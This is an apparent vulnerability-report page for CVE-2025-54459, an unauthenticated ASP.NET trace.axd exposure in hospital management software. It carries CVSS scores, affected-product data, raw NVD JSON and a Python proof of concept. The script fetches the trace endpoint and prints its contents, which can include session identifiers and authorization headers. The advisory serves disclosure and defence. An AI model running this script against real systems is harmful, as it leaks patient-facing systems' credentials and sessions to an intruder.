Security Vulnerability Report
中文
CVE-2025-54459 CVSS 7.5 HIGH

CVE-2025-54459

Published: 2025-10-29 22:15:40
Last Modified: 2025-11-06 19:21:29

Description

Prior to September 19, 2025, the Hospital Manager Backend Services exposed the ASP.NET tracing endpoint /trace.axd without authentication, allowing a remote attacker to obtain live request traces and sensitive information such as request metadata, session identifiers, authorization headers, server variables, and internal file paths.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vertikalsystems:hospital_manager_backend_services:*:*:*:*:*:*:*:* - VULNERABLE
Hospital Manager Backend Services < 2025-09-19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-54459 PoC - Hospital Manager trace.axd Information Disclosure # Target: Hospital Manager Backend Services # Vulnerability: Unauthenticated access to ASP.NET trace endpoint def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-54459 The /trace.axd endpoint should not be accessible without authentication """ trace_endpoint = "/trace.axd" full_url = target_url.rstrip('/') + trace_endpoint headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: response = requests.get(full_url, headers=headers, timeout=10, verify=False) # Check if trace endpoint is accessible if response.status_code == 200: content = response.text # Check for sensitive information in response sensitive_keywords = ['session', 'cookie', 'authorization', 'request', 'path', 'server', 'variable'] found_sensitive = any(keyword.lower() in content.lower() for keyword in sensitive_keywords) if found_sensitive: print(f"[+] VULNERABLE: {full_url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Sensitive information detected in trace output") print(f"[+] Response length: {len(content)} bytes") return True elif response.status_code == 404: print(f"[-] NOT VULNERABLE: trace.axd endpoint not found") return False else: print(f"[*] UNCERTAIN: Status code {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False def extract_sensitive_info(target_url): """ Extract sensitive information from trace.axd endpoint """ trace_endpoint = "/trace.axd" full_url = target_url.rstrip('/') + trace_endpoint try: response = requests.get(full_url, timeout=10, verify=False) if response.status_code == 200: print("\n[+] Extracted trace information preview:") print(response.text[:2000]) except Exception as e: print(f"[-] Failed to extract info: {str(e)}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-hospital-manager.com" print(f"[*] Testing target: {target}") print(f"[*] CVE-2025-54459 PoC\n") is_vulnerable = check_vulnerability(target) if is_vulnerable: extract_sensitive_info(target) print("\n[!] WARNING: System is vulnerable. Apply security patches immediately.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54459", "sourceIdentifier": "[email protected]", "published": "2025-10-29T22:15:40.200", "lastModified": "2025-11-06T19:21:29.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Prior to September 19, 2025, the Hospital Manager Backend Services exposed the ASP.NET tracing endpoint /trace.axd without authentication, allowing a remote attacker to obtain live request traces and sensitive information such as request metadata, session identifiers, authorization headers, server variables, and internal file paths."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vertikalsystems:hospital_manager_backend_services:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-09-19", "matchCriteriaId": "F9A856B2-70B6-4025-B853-B04C9080D91D"}]}]}], "references": [{"url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-25-301-01", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory", "US Government Resource"]}]}}